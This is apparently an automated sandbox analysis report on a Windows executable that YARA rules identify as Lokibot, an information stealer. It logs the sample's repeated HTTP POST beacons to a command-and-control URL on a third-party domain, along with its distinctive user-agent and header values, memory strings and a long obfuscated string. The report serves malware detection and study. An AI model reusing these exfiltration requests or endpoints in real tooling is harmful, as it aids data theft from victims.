Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 163Connection: close

Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Code function: 5_2_00404ED4 recv,

5_2_00404ED4

Source: unknown

DNS traffic detected: queries for: www.ritcophysiotherapy.com.au

Source: unknown

HTTP traffic detected: POST /wap121/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: www.ritcophysiotherapy.com.auAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: AD291CEContent-Length: 190Connection: close

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 22 Feb 2021 18:13:02 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.2.34Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Source: Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: Conan Fegan - Aluminium.exe, 00000000.00000003.638473832.0000000005B8D000.00000004.00000001.sdmp	String found in binary or memory: http://www.ascendercorp.com/typedesigners.html
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: Conan Fegan - Aluminium.exe, 00000000.00000003.650636211.0000000005B50000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.coma
Source: Conan Fegan - Aluminium.exe, 00000000.00000003.650636211.0000000005B50000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comionF
Source: Conan Fegan - Aluminium.exe, 00000000.00000003.650636211.0000000005B50000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.commi
Source: Conan Fegan - Aluminium.exe, 00000000.00000003.635133696.0000000005B6B000.00000004.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: Conan Fegan - Aluminium.exe, 00000000.00000003.635133696.0000000005B6B000.00000004.00000001.sdmp	String found in binary or memory: http://www.fonts.comc
Source: Conan Fegan - Aluminium.exe, 00000000.00000003.636344129.0000000005B57000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: Conan Fegan - Aluminium.exe, 00000000.00000003.636630818.0000000005B56000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/
Source: Conan Fegan - Aluminium.exe, 00000000.00000003.636508473.0000000005B58000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/;
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: Conan Fegan - Aluminium.exe, 00000000.00000003.636508473.0000000005B58000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn9
Source: Conan Fegan - Aluminium.exe, 00000000.00000003.636140982.0000000005B5E000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cnFk
Source: Conan Fegan - Aluminium.exe, 00000000.00000003.636508473.0000000005B58000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cnO
Source: Conan Fegan - Aluminium.exe, 00000000.00000003.636344129.0000000005B57000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cng
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: Conan Fegan - Aluminium.exe, 00000000.00000003.650636211.0000000005B50000.00000004.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm-
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: Conan Fegan - Aluminium.exe, Conan Fegan - Aluminium.exe, 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp	String found in binary or memory: http://www.ibsensoftware.com/
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: Conan Fegan - Aluminium.exe, 00000000.00000003.634766145.0000000005B53000.00000004.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: Conan Fegan - Aluminium.exe, 00000000.00000003.634766145.0000000005B53000.00000004.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.coma
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.651436438.0000000002D01000.00000004.00000001.sdmp	String found in binary or memory: https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css
Source: Conan Fegan - Aluminium.exe, 00000005.00000002.900851249.000000000049F000.00000040.00000001.sdmp	String found in binary or memory: https://www.ritcophysiotherapy.com.au/wap121/five/fre.php

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000000.00000002.651632346.0000000003D09000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.651436438.0000000002D01000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.Conan Fegan - Aluminium.exe.3e3d4e0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.Conan Fegan - Aluminium.exe.3e3d4e0.2.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.Conan Fegan - Aluminium.exe.3eccf90.3.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.Conan Fegan - Aluminium.exe.3eccf90.3.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.Conan Fegan - Aluminium.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 5.2.Conan Fegan - Aluminium.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.Conan Fegan - Aluminium.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 5.2.Conan Fegan - Aluminium.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.Conan Fegan - Aluminium.exe.3eccf90.3.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.Conan Fegan - Aluminium.exe.3eccf90.3.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.Conan Fegan - Aluminium.exe.2d63264.1.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.Conan Fegan - Aluminium.exe.2d63264.1.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.Conan Fegan - Aluminium.exe.3dfbac0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.Conan Fegan - Aluminium.exe.3dfbac0.4.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group

.NET source code contains very large strings

Show sources

Source: Conan Fegan - Aluminium.exe, frmlogin.cs	Long String: Length: 13656
Source: 0.2.Conan Fegan - Aluminium.exe.960000.0.unpack, frmlogin.cs	Long String: Length: 13656
Source: 0.0.Conan Fegan - Aluminium.exe.960000.0.unpack, frmlogin.cs	Long String: Length: 13656
Source: 5.2.Conan Fegan - Aluminium.exe.c20000.1.unpack, frmlogin.cs	Long String: Length: 13656
Source: 5.0.Conan Fegan - Aluminium.exe.c20000.0.unpack, frmlogin.cs	Long String: Length: 13656

Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Code function: 0_2_00969526	0_2_00969526
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Code function: 0_2_0096B3F4	0_2_0096B3F4
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Code function: 0_2_0096A47C	0_2_0096A47C
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Code function: 0_2_07A38DF8	0_2_07A38DF8
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Code function: 0_2_07A30040	0_2_07A30040
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Code function: 0_2_07A30D80	0_2_07A30D80
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Code function: 0_2_07A38DEA	0_2_07A38DEA
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Code function: 0_2_07A3C5FF	0_2_07A3C5FF
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Code function: 0_2_07A38417	0_2_07A38417
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Code function: 0_2_07A32BC7	0_2_07A32BC7
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Code function: 0_2_07A32BD8	0_2_07A32BD8
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Code function: 0_2_07A34190	0_2_07A34190
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Code function: 5_2_0040549C	5_2_0040549C
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Code function: 5_2_004029D4	5_2_004029D4
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Code function: 5_2_00C2A47C	5_2_00C2A47C
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Code function: 5_2_00C29526	5_2_00C29526
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Code function: 5_2_00C2B3F4	5_2_00C2B3F4

Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Code function: String function: 0041219C appears 45 times
